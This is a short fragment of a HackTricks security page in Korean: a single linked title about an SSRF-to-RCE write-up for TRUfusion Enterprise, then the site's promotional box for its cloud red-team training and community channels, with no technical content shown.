- When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


